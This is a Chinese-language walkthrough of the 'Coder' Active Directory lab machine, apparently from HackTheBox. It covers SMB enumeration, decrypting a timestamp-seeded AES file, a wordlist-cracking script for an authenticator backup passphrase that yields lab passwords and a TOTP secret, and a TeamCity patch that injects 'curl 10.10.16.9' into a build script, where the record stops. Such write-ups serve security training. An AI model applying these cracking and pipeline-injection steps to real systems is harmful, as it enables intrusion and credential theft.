Tracks-AD-Coder

AD
38k words

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
└─$ sudo nmap -sS 10.10.11.207 -p- --min-rate=3000
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-11 18:47 EDT
Warning: 10.10.11.207 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.207
Host is up (0.32s latency).
Not shown: 65200 closed tcp ports (reset), 307 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49677/tcp open unknown
49690/tcp open unknown
49691/tcp open unknown
49693/tcp open unknown
49696/tcp open unknown
49704/tcp open unknown
50691/tcp open unknown
50705/tcp open unknown

Ldap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
└─$ ldapsearch -x -H 'ldap://10.10.11.207' -s base
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: ALL
#

#
dn:
domainFunctionality: 7
forestFunctionality: 7
domainControllerFunctionality: 7
rootDomainNamingContext: DC=coder,DC=htb
ldapServiceName: coder.htb:dc01$@CODER.HTB
isGlobalCatalogReady: TRUE
supportedSASLMechanisms: GSSAPI
supportedSASLMechanisms: GSS-SPNEGO
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 3
supportedLDAPVersion: 2
supportedLDAPPolicies: MaxPoolThreads
supportedLDAPPolicies: MaxPercentDirSyncRequests
supportedLDAPPolicies: MaxDatagramRecv
supportedLDAPPolicies: MaxReceiveBuffer
supportedLDAPPolicies: InitRecvTimeout
supportedLDAPPolicies: MaxConnections
supportedLDAPPolicies: MaxConnIdleTime
supportedLDAPPolicies: MaxPageSize
supportedLDAPPolicies: MaxBatchReturnMessages
supportedLDAPPolicies: MaxQueryDuration
supportedLDAPPolicies: MaxDirSyncDuration
supportedLDAPPolicies: MaxTempTableSize
supportedLDAPPolicies: MaxResultSetSize
supportedLDAPPolicies: MinResultSets
supportedLDAPPolicies: MaxResultSetsPerConn
supportedLDAPPolicies: MaxNotificationPerConn
supportedLDAPPolicies: MaxValRange
supportedLDAPPolicies: MaxValRangeTransitive
supportedLDAPPolicies: ThreadMemoryLimit
supportedLDAPPolicies: SystemMemoryLimitPercent
supportedControl: 1.2.840.113556.1.4.319
supportedControl: 1.2.840.113556.1.4.801
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 1.2.840.113556.1.4.528
supportedControl: 1.2.840.113556.1.4.417
supportedControl: 1.2.840.113556.1.4.619
supportedControl: 1.2.840.113556.1.4.841
supportedControl: 1.2.840.113556.1.4.529
supportedControl: 1.2.840.113556.1.4.805
supportedControl: 1.2.840.113556.1.4.521
supportedControl: 1.2.840.113556.1.4.970
supportedControl: 1.2.840.113556.1.4.1338
supportedControl: 1.2.840.113556.1.4.474
supportedControl: 1.2.840.113556.1.4.1339
supportedControl: 1.2.840.113556.1.4.1340
supportedControl: 1.2.840.113556.1.4.1413
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.10
supportedControl: 1.2.840.113556.1.4.1504
supportedControl: 1.2.840.113556.1.4.1852
supportedControl: 1.2.840.113556.1.4.802
supportedControl: 1.2.840.113556.1.4.1907
supportedControl: 1.2.840.113556.1.4.1948
supportedControl: 1.2.840.113556.1.4.1974
supportedControl: 1.2.840.113556.1.4.1341
supportedControl: 1.2.840.113556.1.4.2026
supportedControl: 1.2.840.113556.1.4.2064
supportedControl: 1.2.840.113556.1.4.2065
supportedControl: 1.2.840.113556.1.4.2066
supportedControl: 1.2.840.113556.1.4.2090
supportedControl: 1.2.840.113556.1.4.2205
supportedControl: 1.2.840.113556.1.4.2204
supportedControl: 1.2.840.113556.1.4.2206
supportedControl: 1.2.840.113556.1.4.2211
supportedControl: 1.2.840.113556.1.4.2239
supportedControl: 1.2.840.113556.1.4.2255
supportedControl: 1.2.840.113556.1.4.2256
supportedControl: 1.2.840.113556.1.4.2309
supportedControl: 1.2.840.113556.1.4.2330
supportedControl: 1.2.840.113556.1.4.2354
supportedCapabilities: 1.2.840.113556.1.4.800
supportedCapabilities: 1.2.840.113556.1.4.1670
supportedCapabilities: 1.2.840.113556.1.4.1791
supportedCapabilities: 1.2.840.113556.1.4.1935
supportedCapabilities: 1.2.840.113556.1.4.2080
supportedCapabilities: 1.2.840.113556.1.4.2237
subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=coder,DC=htb
serverName: CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configur
ation,DC=coder,DC=htb
schemaNamingContext: CN=Schema,CN=Configuration,DC=coder,DC=htb
namingContexts: DC=coder,DC=htb
namingContexts: CN=Configuration,DC=coder,DC=htb
namingContexts: CN=Schema,CN=Configuration,DC=coder,DC=htb
namingContexts: DC=DomainDnsZones,DC=coder,DC=htb
namingContexts: DC=ForestDnsZones,DC=coder,DC=htb
isSynchronized: TRUE
highestCommittedUSN: 200765
dsServiceName: CN=NTDS Settings,CN=DC01,CN=Servers,CN=Default-First-Site-Name,
CN=Sites,CN=Configuration,DC=coder,DC=htb
dnsHostName: dc01.coder.htb
defaultNamingContext: DC=coder,DC=htb
currentTime: 20250612064122.0Z
configurationNamingContext: CN=Configuration,DC=coder,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

User

to s.blade

枚举发现guest开了,能访问smb

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ crackmapexec smb 10.10.11.207 -u Guest -p ''  --shares                            
SMB 10.10.11.207 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:coder.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.207 445 DC01 [+] coder.htb\Guest:
SMB 10.10.11.207 445 DC01 [+] Enumerated shares
SMB 10.10.11.207 445 DC01 Share Permissions Remark
SMB 10.10.11.207 445 DC01 ----- ----------- ------
SMB 10.10.11.207 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.207 445 DC01 C$ Default share
SMB 10.10.11.207 445 DC01 Development READ
SMB 10.10.11.207 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.207 445 DC01 NETLOGON Logon server share
SMB 10.10.11.207 445 DC01 SYSVOL Logon server share
SMB 10.10.11.207 445 DC01 Users READ
1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ impacket-smbclient 'coder.htb/Guest'@10.10.11.207
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
Type help for list of commands
# shares
ADMIN$
C$
Development
IPC$
NETLOGON
SYSVOL
Users
#

枚举share的文件内容,其中在Users下的 /public/Libraries 里有个 .library-ms

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# pwd
/public/Libraries

# ls
drw-rw-rw- 0 Tue Dec 13 19:05:28 2022 .
drw-rw-rw- 0 Tue Dec 13 19:05:28 2022 ..
-rw-rw-rw- 175 Tue Dec 13 19:05:28 2022 desktop.ini
-rw-rw-rw- 999 Tue Dec 13 19:05:28 2022 RecordedTV.library-ms
# cat RecordedTV.library-ms
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<!-- IDS_RECORDEDTVLIBRARY -->
<name>@shell32.dll,-34615</name>
<!-- SHIDI_LIBRARYRECORDEDTV -->
<iconReference>imageres.dll,-1008</iconReference>
<isLibraryPinned>true</isLibraryPinned>
<templateInfo>
<!-- FOLDERTYPEID_Videos -->
<folderType>{5fa96407-7e77-483c-ac93-691d05850de8}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription publisher="Microsoft" product="Windows">
<!-- IDS_RECORDEDTVLOCATIONDESCRIPTION -->
<description>@shell32.dll,-34617</description>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isDefaultNonOwnerSaveLocation>true</isDefaultNonOwnerSaveLocation>
<simpleLocation>
<url>shell:public\Recorded TV</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

如果是可以put的话有概率是替换文件钓鱼,但是这里没有上传权限,所以用不到。

然后是 Development ,这里有两个目录

1
2
3
4
5
# ls
drw-rw-rw- 0 Thu Nov 3 12:17:13 2022 .
drw-rw-rw- 0 Thu Nov 3 12:17:13 2022 ..
drw-rw-rw- 0 Tue Nov 8 17:11:25 2022 Migrations
drw-rw-rw- 0 Fri Nov 11 17:19:03 2022 Temporary Projects

首先是第一个 Migrations

1
2
3
4
5
6
7
8
# ls
drw-rw-rw- 0 Tue Nov 8 17:11:25 2022 .
drw-rw-rw- 0 Tue Nov 8 17:11:25 2022 ..
drw-rw-rw- 0 Tue Nov 8 17:11:25 2022 adcs_reporting
drw-rw-rw- 0 Thu Nov 3 12:17:13 2022 bootstrap-template-master
drw-rw-rw- 0 Thu Nov 3 12:17:13 2022 Cachet-2.4
drw-rw-rw- 0 Thu Nov 3 12:17:13 2022 kimchi-master
drw-rw-rw- 0 Fri Nov 4 15:14:54 2022 teamcity_test_repo

adcs_reporting 中包含一个脚本

1
2
3
4
5
# ls
drw-rw-rw- 0 Tue Nov 8 17:11:25 2022 .
drw-rw-rw- 0 Tue Nov 8 17:11:25 2022 ..
drw-rw-rw- 0 Tue Nov 8 17:11:25 2022 .git
-rw-rw-rw- 7245 Tue Nov 8 16:19:41 2022 Get-ADCS_Report.ps1

脚本中比较重点的部分如下,这个脚本大致功能是由pkiadmins 向 itsupport 发邮件用的,其中有个用户名为e.black

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#Send mail function
Function script:send_mail {

[CmdletBinding()]
param
(
[string]
$message,

[string]
$subject
)
$emailFrom = 'pkiadmins@coder.htb'
$emailCC = 'e.black@coder.htb'
$emailTo = 'itsupport@coder.htb'
$smtpServer = 'smtp.coder.htb'
Send-MailMessage -SmtpServer $smtpServer -To $emailTo -Cc $emailCC -From $emailFrom -Subject $subject -Body $message -BodyAsHtml -Priority High
}

然后在 teamcity_test_repo 中有一个脚本 hello_world.ps1

1
2
3
4
5
6
7
8
9
10
# pwd
/Migrations/teamcity_test_repo
# ls
drw-rw-rw- 0 Fri Nov 4 15:14:54 2022 .
drw-rw-rw- 0 Fri Nov 4 15:14:54 2022 ..
drw-rw-rw- 0 Fri Nov 4 15:14:54 2022 .git
-rw-rw-rw- 67 Fri Nov 4 15:12:08 2022 hello_world.ps1
# cat hello_world.ps1
#Simple repo test for Teamcity pipeline
write-host "Hello, World!"

然后是 \Temporary Projects 下由一个 enc 和一个 exe

1
2
3
4
5
6
# cd Temporary Projects
# ls
drw-rw-rw- 0 Fri Nov 11 17:19:03 2022 .
drw-rw-rw- 0 Fri Nov 11 17:19:03 2022 ..
-rw-rw-rw- 5632 Fri Nov 4 12:58:20 2022 Encrypter.exe
-rw-rw-rw- 3808 Fri Nov 11 17:17:08 2022 s.blade.enc

exe脱下来看了下,是.net的

1
2
└─$ file Encrypter.exe       
Encrypter.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

image

看起来是一个简单的时间戳seed加密,key和iv都是时间戳gen出来的

这里可以通过enc文件创建的时间来推出他的时间戳

1
s.blade.enc                         A     3808  Fri Nov 11 17:17:08 2022

文件创建的时间戳是 1668205028

1
2
└─$ date -d "Fri Nov 11 17:17:08 2022" +%s
1668205028

让ai写个解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
using System;
using System.IO;
using System.Security.Cryptography;

#nullable disable
internal class AESDecrypt
{
public static void Main(string[] args)
{


string encryptedFile = "./s.blade.enc";
string outputFile = "./s.blade";
int seed = 1668205028;

Random random = new Random(seed);
byte[] iv = new byte[16];
byte[] key = new byte[32];
random.NextBytes(iv);
random.NextBytes(key);

try
{
DecryptFile(encryptedFile, outputFile, key, iv);
Console.WriteLine("Decryption successful!");
}
catch (Exception ex)
{
Console.WriteLine("Decryption failed: " + ex.Message);
}
}

private static void DecryptFile(string encryptedFile, string outputFile, byte[] Key, byte[] IV)
{
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
using (FileStream fileStream1 = new FileStream(encryptedFile, FileMode.Open))
{
using (ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(Key, IV))
{
using (CryptoStream cryptoStream = new CryptoStream(fileStream1, decryptor, CryptoStreamMode.Read))
{
using (FileStream fileStream2 = new FileStream(outputFile, FileMode.Create))
{
byte[] buffer = new byte[1024];
int count;
while ((count = cryptoStream.Read(buffer, 0, buffer.Length)) != 0)
{
fileStream2.Write(buffer, 0, count);
}
}
}
}
}
}
}
}

解密后得到一个7z包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─$ 7z l s.blade

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
64-bit locale=C.UTF-8 Threads:128 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 3799 bytes (4 KiB)

Listing archive: s.blade

--
Path = s.blade
Type = 7z
Physical Size = 3799
Headers Size = 177
Method = LZMA2:12
Solid = -
Blocks = 2

Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2022-11-03 16:02:30 ..H.A 1024 1028 .key
2022-11-11 18:13:55 ....A 2590 2594 s.blade.kdbx
------------------- ----- ------------ ------------ ------------------------
2022-11-11 18:13:55 3614 3622 2 files

包含一个keepass库和一个key,解压。

1
7z x s.blade
1
2
3
4
5
└─$ tree -al
.
├── .key
├── s.blade.enc
└── s.blade.kdbx

image

得到的密码库内存了仨值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"6132e897-44a2-4d14-92d2-12954724e83f": {
"encrypted": true,
"hash": "6132e897-44a2-4d14-92d2-12954724e83f",
"index": 1,
"type": "totp",
"secret": "U2FsdGVkX1+3JfFoKh56OgrH5jH0LLtc+34jzMBzE+QbqOBTXqKvyEEPKUyu13N2",
"issuer": "TeamCity",
"account": "s.blade"
},
"key": {
"enc": "U2FsdGVkX19dvUpQDCRui5XaLDSbh9bP00/1iBSrKp7102OR2aRhHN0s4QHq/NmYwxadLeTN7Me1a3LrVJ+JkKd76lRCnd1utGp/Jv6w0hmcsqdhdccOpixnC3wAnqBp+5QyzPVaq24Z4L+Rx55HRUQVNLrkLgXpkULO20wYbQrJYN1D8nr3g/G0ukrmby+1",
"hash": "$argon2id$v=19$m=16384,t=1,p=1$L/vKleu5gFis+GLZbROCPw$OzW14DA0kdgIjCbo6MPDYoh+NEHnNCNV"
}
}
1
2
3
s.blade@coder.htb

AmcwNO60Zg3vca3o0HDrTC6D
1
2
3
4
5
https://teamcity-dev.coder.htb

s.blade

veh5nUSZFFoqz9CrrhSeuwhA

第一个不知道是什么的,第二个是域账户密码

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ crackmapexec smb dc01.coder.htb  -u s.blade -p AmcwNO60Zg3vca3o0HDrTC6D -d coder.htb --shares   
SMB dc01.coder.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:coder.htb) (signing:True) (SMBv1:False)
SMB dc01.coder.htb 445 DC01 [+] coder.htb\s.blade:AmcwNO60Zg3vca3o0HDrTC6D
SMB dc01.coder.htb 445 DC01 [+] Enumerated shares
SMB dc01.coder.htb 445 DC01 Share Permissions Remark
SMB dc01.coder.htb 445 DC01 ----- ----------- ------
SMB dc01.coder.htb 445 DC01 ADMIN$ Remote Admin
SMB dc01.coder.htb 445 DC01 C$ Default share
SMB dc01.coder.htb 445 DC01 Development READ
SMB dc01.coder.htb 445 DC01 IPC$ READ Remote IPC
SMB dc01.coder.htb 445 DC01 NETLOGON READ Logon server share
SMB dc01.coder.htb 445 DC01 SYSVOL READ Logon server share
SMB dc01.coder.htb 445 DC01 Users READ

第三个给了一个teamcity的url,加到host,先枚举域内信息之后再看。

to svc_teamcity

bloodhound

遛狗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ bloodhound.py -ns 10.10.11.207 --zip -dc dc01.coder.htb  -u s.blade -p AmcwNO60Zg3vca3o0HDrTC6D  -d coder.htb 
INFO: Found AD domain: coder.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.coder.htb
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Found 10 users
INFO: Connecting to LDAP server: dc01.coder.htb
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 55 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.coder.htb
INFO: Done in 00M 49S
INFO: Compressing output into 20250707130802_bloodhound.zip

枚举 s.blade ,其属于 Software DevelopersBuildAgent Mgmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PV > Get-DomainUser s.blade
cn : Sonya Blade
distinguishedName : CN=Sonya Blade,OU=Users,OU=Development,DC=coder,DC=htb
memberOf : CN=BuildAgent Mgmt,OU=Groups,OU=Development,DC=coder,DC=htb
CN=Software Developers,OU=Groups,OU=Development,DC=coder,DC=htb
name : Sonya Blade
objectGUID : {77d893c9-c681-4034-a700-ba7fbedde87a}
userAccountControl : NORMAL_ACCOUNT [66048]
DONT_EXPIRE_PASSWORD
badPwdCount : 0
badPasswordTime : 01/01/1601 00:00:00 (424 years, 6 months ago)
lastLogoff : 1601-01-01 00:00:00+00:00
lastLogon : 18/02/2023 01:12:30 (2 years, 4 months ago)
pwdLastSet : 09/11/2022 17:38:59 (2 years, 8 months ago)
primaryGroupID : 513
objectSid : S-1-5-21-2608251805-3526430372-1546376444-1110
sAMAccountName : s.blade
sAMAccountType : SAM_USER_OBJECT
userPrincipalName : s.blade@coder.htb
objectCategory : CN=Person,CN=Schema,CN=Configuration,DC=coder,DC=htb

枚举 s.bladeSoftware Developers 没有发现outbound权限,BuildAgent Mgmt 组存在对BuildAgents ou 的创建与删除账户以及修改属性的权限,或者把自己加进去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PV > Get-DomainObjectAcl  -SecurityIdentifier  S-1-5-21-2608251805-3526430372-1546376444-8601 -ResolveGUIDs 

ObjectDN : OU=BuildAgents,OU=Development,DC=coder,DC=htb
ObjectSID : None
ACEType : ACCESS_ALLOWED_OBJECT_ACE
ACEFlags : CONTAINER_INHERIT_ACE, INHERIT_ONLY_ACE
AccessMask : ReadProperty, WriteProperty, Self
ObjectAceFlags : ACE_OBJECT_TYPE_PRESENT, ACE_INHERITED_OBJECT_TYPE_PRESENT
ObjectAceType : DNS Host Name Attributes (72e39547-7b18-11d1-adef-00c04fd8d5cd)
InheritanceType : UNKNOWN (bf967a86-0de6-11d0-a285-00aa003049e2)
SecurityIdentifier : BuildAgent Mgmt (S-1-5-21-2608251805-3526430372-1546376444-8601)

ObjectDN : OU=BuildAgents,OU=Development,DC=coder,DC=htb
ObjectSID : None
ACEType : ACCESS_ALLOWED_OBJECT_ACE
ACEFlags : CONTAINER_INHERIT_ACE
AccessMask : CreateChild, DeleteChild
ObjectAceFlags : ACE_OBJECT_TYPE_PRESENT
ObjectAceType : UNKNOWN (bf967a86-0de6-11d0-a285-00aa003049e2)
InheritanceType : None
SecurityIdentifier : BuildAgent Mgmt (S-1-5-21-2608251805-3526430372-1546376444-8601)

这里 BuildAgents ou没有bind gpo,所以暂时不知道这个组是做啥用的。

跑spn和npu没有收获,转而去看web部分

使用 s.blade \ veh5nUSZFFoqz9CrrhSeuwhA 账户登录web

image

提示开了2FA 需要输入totp

1
2
Two-Factor Authentication
Enter six-digit password from your authenticator app or one of the savedrecovery codes.

这里提示说使用 authenticator app 生成的6位码

所以去装了一个

https://addons.mozilla.org/en-US/firefox/addon/auth-helper/

但是研究不出来他给的密码如何导入

image

想不通,所以去翻 0xdf 的wp看这部分怎么走

从其中得知,被 authenticator 使用保护密码加密后的totp,在backup时便会以json的形式显示加密文件。

如下

image

由此可以得知,keepass库中的那个json就是这个被加密的凭据。

翻他的源码仓库中对于backup导入加密部分的处理

https://github.com/Authenticator-Extension/Authenticator/blob/dev/src/import.ts

如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
export async function decryptBackupData(
backupData: { [hash: string]: OTPStorage | Key },
passphrase: string | null
) {
const decryptedBackupData: { [hash: string]: RawOTPStorage } = {};
const keys: Map<string, string | null> = new Map();
for (const hash in backupData) {
const unknownStorageItem = backupData[hash];
if (
typeof unknownStorageItem !== "object" ||
unknownStorageItem.dataType === "Key"
) {
continue;
}
let storageItem: RawOTPStorage;
if (unknownStorageItem.dataType === "EncOTPStorage") {
if (!passphrase) {
continue;
}

if (!keys.has(unknownStorageItem.keyId)) {
keys.set(
unknownStorageItem.keyId,
await findAndUnlockKey(
backupData,
unknownStorageItem.keyId,
passphrase
)
);
}
const decryptKey = keys.get(unknownStorageItem.keyId);
if (!decryptKey) {
// wrong password for key
continue;
}

storageItem = {
...unknownStorageItem,
...JSON.parse(
CryptoJS.AES.decrypt(unknownStorageItem.data, decryptKey).toString(
CryptoJS.enc.Utf8
)
),
encrypted: false,
};
} else {
storageItem = unknownStorageItem;
}
if (!storageItem.secret) {
continue;
}
if (storageItem.encrypted && !passphrase) {
continue;
}
if (storageItem.encrypted && passphrase) {
try {
storageItem.secret = CryptoJS.AES.decrypt(
storageItem.secret,
passphrase
).toString(CryptoJS.enc.Utf8);
storageItem.encrypted = false;
} catch (error) {
continue;
}
}
// storageItem.secret may be empty after decrypt with wrong
// passphrase
if (!storageItem.secret) {
continue;
}
decryptedBackupData[hash] = storageItem;
}
return decryptedBackupData;
}

其中主要解密的部分是这个,通过 storageItem.secret的值与密码做aes解密

1
2
3
4
5
6
7
8
9
10
11
if (storageItem.encrypted && passphrase) {
try {
storageItem.secret = CryptoJS.AES.decrypt(
storageItem.secret,
passphrase
).toString(CryptoJS.enc.Utf8);
storageItem.encrypted = false;
} catch (error) {
continue;
}
}

storageItem.secretstorageItem 则是由如下赋值

1
2
3
...
storageItem = unknownStorageItem;
...

unknownStorageItem 是由 backupData 中的 hash key赋值

1
2
3
4
for (const hash in backupData) {
const unknownStorageItem = backupData[hash];
if (
...

backupDatapassphrase 由外部传入

1
2
3
4
export async function decryptBackupData(
backupData: { [hash: string]: OTPStorage | Key },
passphrase: string | null
)

查看调用

于两处有调用

https://github.com/Authenticator-Extension/Authenticator/blob/9d9660bb73700b3e725800edc22836662d94afac/src/components/Import/FileImport.vue#L105

https://github.com/Authenticator-Extension/Authenticator/blob/9d9660bb73700b3e725800edc22836662d94afac/src/components/Import/TextImport.vue#L84

调用形式一样,这里挑 FileImport.vue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
let key: { enc: string } | null = null;

if (importData.hasOwnProperty("key")) {
if (importData.key) {
key = importData.key;
}
delete importData.key;
} else if (importData.enc && importData.hash) {
key = { enc: importData.enc };
delete importData.hash;
delete importData.enc;
}

for (const hash in importData) {
const possibleEntry = importData[hash];
if (possibleEntry.dataType === "Key") {
// don't try to import keys as an OTPEntry
continue;
}

if (possibleEntry.keyId || possibleEntry.encrypted) {
try {
const oldPassphrase:
| string
| null = await this.getOldPassphrase();

if (key) {
// v2 encryption
decryptedFileData = await decryptBackupData(
importData,
CryptoJS.AES.decrypt(key.enc, oldPassphrase).toString()
);
} else {
// v3 and v1 encryption
decryptedFileData = await decryptBackupData(
importData,
oldPassphrase
);
}

检查引入数据中是否包含 key 这个属性,这里我们手里的导出备份是有这个属性的

1
2
3
4
if (importData.hasOwnProperty("key")) {
if (importData.key) {
key = importData.key;
}
1
2
3
4
5
6
7
8
{
"6132e897-44a2-4d14-92d2-12954724e83f": {
...
},
"key": {
...
}
}

当我们导入的加密凭据包含key时,便会调用到 v2 encryption 路径的 decryptBackupData

1
2
3
4
5
6
7
8
9
10
11
12
if (key) {
// v2 encryption
decryptedFileData = await decryptBackupData(
importData,
CryptoJS.AES.decrypt(key.enc, oldPassphrase).toString()
);
} else {
// v3 and v1 encryption
decryptedFileData = await decryptBackupData(
importData,
oldPassphrase
);

有趣的是这里 passphrase 位置他先做了一次解密之后再传入的。

也就是说脚本要撞他密码需要 先把密码拿来 key.enc 进行aes解密,然后再用得到的值拿去跟 hash.secret 做一次aes,最后便是结果,通过自定义导入时候的手动测试得知secert应当是16位以上,由数字或大写字母组成,小写不认。

跑密码的如下,写的有点拉跨让gpt帮忙格式化了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const fs = require("fs");
const CryptoJS = require("crypto-js");

const secret = "U2FsdGVkX1+3JfFoKh56OgrH5jH0LLtc+34jzMBzE+QbqOBTXqKvyEEPKUyu13N2";
const enc = "U2FsdGVkX19dvUpQDCRui5XaLDSbh9bP00/1iBSrKp7102OR2aRhHN0s4QHq/NmYwxadLeTN7Me1a3LrVJ+JkKd76lRCnd1utGp/Jv6w0hmcsqdhdccOpixnC3wAnqBp+5QyzPVaq24Z4L+Rx55HRUQVNLrkLgXpkULO20wYbQrJYN1D8nr3g/G0ukrmby+1";

const wordlistPath = process.argv[2];
const wd = fs.readFileSync(wordlistPath, "utf-8").split("\n");

for (const wdl of wd) {
const pass = wdl.trim();
try {
const importpass = CryptoJS.AES.decrypt(enc, pass).toString();
if (!importpass) continue;
const result = CryptoJS.AES.decrypt(secret, importpass).toString(CryptoJS.enc.Utf8);
if (result.length >= 16) {
console.log("✅ 找到有效口令!");
console.log(`🔑 Password: ${pass}`);
console.log(`🔓 Key: ${importpass}`);
console.log(`📦 Raw result (hex): ${result}`);
console.log(`🧬 Decoded seed: ${seed}`);
break;
}
} catch (err) {
continue;
}
}

跑了一会得到保护密码 skyblade 以及secert PM2CG6RO73QT74WS

1
2
3
4
5
└─$ node test.js /usr/share/wordlists/rockyou.txt
✅ 找到有效口令!
🔑 Password: skyblade
🔓 Key: 3a3c2614b17654f9f15dce9dd282955e4f82e32dd0397fbb5b6730354a3dc6a7465091e1bea6fd465aa83743fbd9e630c9dff2c461da26737dc693d0d88623129b7c1a9342d0c88b406d7d542d4414ee4f13ee3e127d9ed0a124773d66e8af460d4347e3551dace0299452b898cc01396c6c4cc8ab967cad
📦 Raw result (hex): PM2CG6RO73QT74WS

因为是TOTP,所以还需要与服务器时间同步。

这里和之前一个 totp 靶机一样的思路,curl获取web返回的服务器时间,然后date应用时间

1
date -s "$(curl 10.10.11.207 -sI|awk -F ': ' 'NR==8 {print $2}')"

web

这个账户没有直接创建任务的权限,只能对现有任务做操作

image

直接run能看到输出了一个 hello world ,文件名有些眼熟,返回去看了下smb里的文件,有点像但不能完全确定。

这里没有权限在run的过程中直接 pipeline 附加command。

只有这部分的内容可以编辑,或者说自定义。

image

这里说让上传一个patch或者diff格式的文件

1
Click to upload or drag & drop a patch in unified diff format

https://www.jetbrains.com/help/teamcity/personal-build.html#Direct+Patch+Upload

这功能相比于分支再单独构建会更灵活一些。

因为run之后会执行 hello_world.ps1 进行一个简单的输出。

所以这里考虑patch他的这个脚本来尝试命令执行。

这里我需要创建一个和他同名的文件来patch他,但是我不知道他具体文件内容.

1
2
3
4
5
6
7
8
9
10
11
12
13
vim hello_world.ps1

git init

git commit -m test


└─$ git log
commit 8522a4ca5c91eb8c387a35c7c2839448fee712b1 (HEAD -> master)
Author: test <test@flower>
Date: Tue Jul 8 13:41:21 2025 -0400

test

简单改了下,diff之后丢上去 run 了下,就报错了

image

翻看了下执行时候的报错

image

看右侧报错能确定是diff文件没有成功被应用,因为我diff的 ps1 内容是乱写的,所以第一版的diff无法被应用,不过现在左侧能看到具体的文件内容,和smb里的一样。

image

得知具体文件内容,就可以正常进行diff了

1
2
3
4
5
6
7
8
9
└─$ cat hello_world.ps1 
#Simple repo test for Teamcity pipeline
write-host "Hello, World!"

git init

git add hello_world.ps1

git commit -m test

改一下,生成一下 diff

1
2
3
4
5
6
7
8
9
10
11
12
└─$ git diff hello_world.ps1
diff --git a/hello_world.ps1 b/hello_world.ps1
index 09724d2..c8975e2 100644
--- a/hello_world.ps1
+++ b/hello_world.ps1
@@ -1,2 +1,4 @@
#Simple repo test for Teamcity pipeline
write-host "Hello, World!"
+
+curl 10.10.16.9

